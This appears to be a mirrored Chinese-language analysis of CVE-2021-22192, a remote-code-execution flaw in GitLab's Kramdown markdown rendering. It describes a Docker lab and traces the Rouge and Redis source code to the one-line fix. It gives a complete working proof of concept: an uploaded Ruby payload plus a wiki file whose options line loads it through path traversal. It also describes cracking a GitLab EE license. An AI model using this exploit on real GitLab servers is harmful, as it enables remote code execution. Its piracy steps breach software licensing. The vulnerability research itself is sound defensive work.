CVE-2021-22192 漏洞分析
source link: https://exp-blog.com/safe/cve/cve-2021-22192-lou-dong-fen-xi/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
0x10 漏洞背景
GitLab 是美国 GitLab 公司的一款使用 Ruby on Rails 开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug 列表等。
于 2021-03-14,William Bowling 在 hackerone 披露了 GitLab 的 Kramdown 组件存在 RCE 漏洞。
其实他在早前所披露的 CVE-2020-14001 漏洞与此漏洞如出一辙,只是当时没找到利用方法,当时的漏洞分析可参考以下链接:
0x20 漏洞靶场
- 靶场源码: https://github.com/lyy289065406/CVE-2021-22192
- 环境说明:
- Docker:
latest
- Gitlab-EE:
13.2.0
- Runner:
ubuntu-v13.10.0
- Docker:
- 靶场结构:
CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│ ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│ ├── config .............. [Gitlab 配置挂载目录]
│ ├── data ................ [Gitlab 数据挂载目录]
│ ├── logs ................ [Gitlab 日志挂载目录]
│ ├── keys ................ [Gitlab 破解 License 存储目录]
│ └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│ ├── Dockerfile .......... [License 的 Docker 构建文件]
│ └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux: 一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux: 一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux: 一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux: 一键停止 Gitlab 靶场]
0x30 靶场搭建
0x31 构建
0x32 破解
前面生成破解密钥对的时候,已经把公钥写入 Gitlab 容器后台了,还需要把私钥通过前端上传到 Gitlab 完成破解:
- 密钥对生成到
./gitlab/keys/
目录,复制其下.gitlab-license
的内容(私钥) - 使用 root 用户打开 http://127.0.0.1/admin/license/new 页面
- 选择
Enter license key
并粘贴私钥,点击Upload license
按钮即可完成破解
0x33 设置 Runner
至此所有 Repository 都可以使用此 Runner 执行 CI 脚本(Pipeline Jobs)
0x34 访问 Gitlab Pages
假设你的 Gitlab 用户名为 ${username}
,仓库名称为 ${repository_name}
,当仓库已经使用 jekyll 成功构建 SSG 后,只需要访问以下 URL 即可:
http://127.0.0.1:8000/${username}/${repository_name}/public/
0x40 靶场验证
- 使用任意用户点击顶部的
+ -> New snippet
Title
随意填即可,点击Description (optional)
的输入框,然后点击Attach a file
,上传一个名为payload.rb
文件,其内容如下:
puts "hello from ruby"
`echo exp was here > /tmp/exp`
此时在 Description (optional)
会显示该文件的链接,例如:[payload.rb](/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb)
,同时文件已经上传到 docker_gitlab 容器的 /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb
。(至于 Create snippet
可点可不点,只需要记住这个文件路径的 Hash 即可)
注意:不要通过某一个仓库左侧边栏的
Snippet -> New snippet
,否则回显的文件路径会变成[payload.rb](/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb)
,实际上上传到 docker_gitlab 容器的路径会变成/var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb
,由于中间有一段随机字符串,很难利用。
- 点击顶部的
+ New Project
,命名随意(如poc
,或不创建、用已存在的仓库亦可) - 点击左侧
Wiki
,然后点击Create your first page
Title
和Content
随意填即可, 点击Create page
- 此时 Gitlab 会生成当前
poc
仓库的 wiki 仓库,名为poc.wiki
(点击右上角的Clone repository
,可以找到 clone 命令:git clone http://127.0.0.1/root/poc.wiki.git
)。 - 在本地终端执行命令
git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki
下载 wiki 仓库到本地 - 在 wiki 仓库的根目录添加一个名为
page1.rmd
的文件,其内容如下(注意文件路径中的 Hash 要替换为前面得到的 Hash):
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
- 执行命令提交该文件到 Gitlab:
git add -A . && git commit -m "page1.rmd" && git push
- 回到前面 Gitlab Wiki 的页面,刷新,可以在右侧索引栏看到在本地创建的
page1
页面,点击它 - 等待页面回显内容后,登陆 docker_gitlab 容器,可以找到文件
/tmp/exp
已经被创建
点击
page1.rmd
页面后,其实可以在gitlab/logs/gitlab-rails/exceptions_json.log
看到报错信息,但是这不影响命令已经被执行:
{
"severity": "ERROR",
"time": "2021-04-26T10:36:07.978Z",
"correlation_id": "A24bByUP9L5",
"tags.correlation_id": "A24bByUP9L5",
"tags.locale": "en",
"user.id": 1,
"user.email": "[email protected]",
"user.username": "root",
"extra.project_id": 1,
"extra.file_name": "page1.rmd",
"exception.class": "NameError",
"exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
"exception.backtrace": [
"lib/gitlab/other_markup.rb:11:in `render'",
"app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
"app/helpers/markup_helper.rb:153:in `markup_unsafe'",
"app/helpers/markup_helper.rb:138:in `render_wiki_content'",
"app/views/shared/wikis/show.html.haml:25",
"app/controllers/application_controller.rb:134:in `render'",
"app/controllers/concerns/wiki_actions.rb:68:in `show'",
"ee/lib/gitlab/ip_address_state.rb:10:in `with'",
"ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
"app/controllers/application_controller.rb:491:in `set_current_admin'",
"lib/gitlab/session.rb:11:in `with_session'",
"app/controllers/application_controller.rb:482:in `set_session_storage'",
"app/controllers/application_controller.rb:476:in `set_locale'",
"lib/gitlab/error_tracking.rb:50:in `with_context'",
"app/controllers/application_controller.rb:541:in `sentry_context'",
"app/controllers/application_controller.rb:469:in `block in set_current_context'",
"lib/gitlab/application_context.rb:52:in `block in use'",
"lib/gitlab/application_context.rb:52:in `use'",
"lib/gitlab/application_context.rb:20:in `with_context'",
"app/controllers/application_controller.rb:462:in `set_current_context'",
"ee/lib/gitlab/jira/middleware.rb:19:in `call'"
]
}
0x50 漏洞分析
0x51 表象
漏洞披露后,Gitlab 在 kramdown 修复之前,马上就发布了临时修复补丁:Patch Kramdown syntax highlighter gem。
从内容上看,修复的内容并不多,主要针对 kramdown Gem 包的 Kramdown::Converter::SyntaxHighlighter
进行了临时修复,并声明在 Kramdown 修复后应去掉这个补丁。
很快地,Kramdown 也修复了这个问题:Restrict Rouge formatters to Rouge::Formatters namespace,升级版本为 2.3.1(版本说明)。
不难发现,只有一行代码被修复了:
# Before :
::Rouge::Formatters.const_get(formatter)
# After :
::Rouge::Formatters.const_get(formatter, false)
const_get
追加了第 2 个参数 false
,其作用为限制只能在 Rouge::Formatters
下查找常量(不继承父类定义常量)。
const_get
是 ruby 类继承自 Object 的方法,其用法可参考这篇文章。
0x52 推测
在官方修改的代码中,formatter
是唯一变量,由于是 RCE 漏洞,这应该是用户可控的输入点。
不妨从源码 kramdown-2.3.1/lib/kramdown/converter/syntax_highlighter/rouge.rb
跟踪分析一下:
def self.formatter_class(opts = {})
case formatter = opts[:formatter]
when Class
formatter
when /\A[[:upper:]][[:alnum:]_]*\z/
::Rouge::Formatters.const_get(formatter, false)
else
# Available in Rouge 2.0 or later
::Rouge::Formatters::HTMLLegacy
end
rescue NameError
# Fallback to Rouge 1.x
::Rouge::Formatters::HTML
end
从源码可知,假如 formatter
真是用户可控的,那么就应该可能存在可以绕过正则 \A[[:upper:]][[:alnum:]_]*\z
的方法。
现在问题是 formatter
究竟是什么。
向上跟踪发现 formatter
源于 formatter_class
方法的入参 opt
,而 formatter_class
在上下文有唯一的调用位置:
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
很明显 formatter_class(opts).new(opts)
这里是把 opts 实例化了。联想到官方的漏洞修复公告 Remote code execution via unsafe user-controlled markdown rendering options, 此处实锤了就是用户控制点,通过构造特定的参数,就可以实现 RCE。
0X53 注入点
现在的问题是,应该在哪里注入 opts
呢?
继续分析源码 kramdown-2.3.1/lib/kramdown/converter/syntax_highlighter/rouge.rb
的上下文,发现有对 opts
做了预处理:
def self.prepare_options(converter)
return if converter.data.key?(:syntax_highlighter_rouge)
cache = converter.data[:syntax_highlighter_rouge] = {}
opts = converter.options[:syntax_highlighter_opts].dup
span_opts = opts.delete(:span)&.dup || {}
block_opts = opts.delete(:block)&.dup || {}
normalize_keys(span_opts)
normalize_keys(block_opts)
cache[:span] = opts.merge(span_opts)
cache[:span][:wrap] = false
cache[:block] = opts.merge(block_opts)
end
很明显 opts
是通过 syntax_highlighter_opts
从外部传入的。
联想到前面 Gitlab 的修复补丁 Patch Kramdown syntax highlighter gem 中,官方很贴心地给了 rspec 的测试用例,从而得到了 syntax_highlighter_opts
的构造方法:
context 'with invalid formatter' do
let(:options) { %({::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\\}" /}) }
it 'falls back to standard HTML and disallows CSV' do
expect(CSV).not_to receive(:new)
expect(::Rouge::Formatters::HTML).to receive(:new).and_call_original
expect(subject).to be_present
end
end
进一步查找 kramdown 关于 Options 的使用说明,其中有这样的描述:
其意思就是,可以在 markdown 文档中,通过构造 {::options ...... /}
这种特殊语法,可以设置 options(例如 syntax_highlighter_opts
) 。而 kramdown 在转换 markdown 文档的时候,就会把 options 传入代码,通过巧妙构造就可以实现 RCE。
同时可以在 Gitlab 关于 markdown-guide 的说明中,找到 {::options ...... /}
的使用方法:
简单来说,就是只能在 markdown 文档的首行使用 {::options ...... /}
。
似乎找到了注入点了,但是要怎么利用呢?
0x60 漏洞利用
这里还是要回到漏洞修复前的源码 kramdown-2.1.3/lib/kramdown/converter/syntax_highlighter/rouge.rb
跟踪分析一下(此处只列了关键的几处代码):
def self.call(converter, text, lang, type, call_opts)
# 从 markdown 中提取 syntax_highlighter_opts,存储到 opts
opts = options(converter, type)
......
# 从 opts.formatter 提取类名,并将其实例化
formatter = formatter_class(opts).new(opts)
# 格式化某个内容
formatter.format(lexer.lex(text))
end
def self.options(converter, type)
prepare_options(converter)
......
end
def self.prepare_options(converter)
......
opts = converter.options[:syntax_highlighter_opts].dup
......
end
def self.formatter_class(opts = {})
case formatter = opts[:formatter]
when Class
formatter
when /\A[[:upper:]][[:alnum:]_]*\z/
::Rouge::Formatters.const_get(formatter)
else
::Rouge::Formatters::HTMLLegacy
end
rescue NameError
::Rouge::Formatters::HTML
end
结合前面 rspec 测试用例提供的样本 {::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\\}" /}
,不难想象:
opts
应该就是形如{formatter: CSV, line_numbers: true\\}
的值- 那么
formatter
就是形如CSV
的值
而我们要成功利用漏洞,就需要找到一个 class ,使其满足以下条件:
- 找到一个常量值、它同时也是一个类名,且其命名满足正则
\A[[:upper:]][[:alnum:]_]*\z
(意思就是首字母大写、后面跟任意个字母或下划线) - 该类在实例化过程中(
new(opts)
)、或者格式化过程中(format(lexer.lex(text))
),可以执行用户某个输入内容
那么怎么找到这个 class 呢?
其实早在 William Bowling 披露 CVE-2020-14001 的时候(详见[《GitHub Pages - Multiple RCEs via insecure Kramdown configuration - $25,000 Bounty》]),他当时就提供了一个这样的脚本以获取 ruby 的类列表,从中再找到可以利用的 class:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
end
这也是为什么 William Bowling 时隔一年才披露 CVE-2021-22192 的原因,他肯定试了很多个 0day …… 至于过程的辛酸这里就不过多幻想了,下面的就是结果论了。
从实际 payload 来看,William Bowling 应该是发现了 Redis
这个类的 driver
是可以利用的:
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
我们不妨看一下 Redis 的 Gem 源码 redis-4.1.3/lib/redis/client.rb,该类在实例化 initialize
的时候会调用 _parse_options
方法解析用户输入的 options,而该方法又会调用 _parse_driver
解析 driver
参数:
def initialize(options = {})
@options = _parse_options(options)
......
end
def _parse_options(options)
......
options[:driver] = _parse_driver(options[:driver]) || Connection.drivers.last
......
end
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
由于 driver
参数值没有做任何校验,可以传入任意值,故而传入特定的文件路径,则可以加载任意文件。
从靶场测试结果来看,driver
指向了我们上传的一个 payload.rb
脚本,虽然 Redis 在业务逻辑上报错了,但是命令已经执行了。
0x70 漏洞修复
官方的补丁就是修复方法:
# Before :
::Rouge::Formatters.const_get(formatter)
# After :
::Rouge::Formatters.const_get(formatter, false)
通过显示指定 const_get
的第二个参数为 false
,限制常量的查找范围必须在 Rouge::Formatters
的命名空间下,从而避免其他命名空间的类在此处被恶意实例化(而触发非期望行为)。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK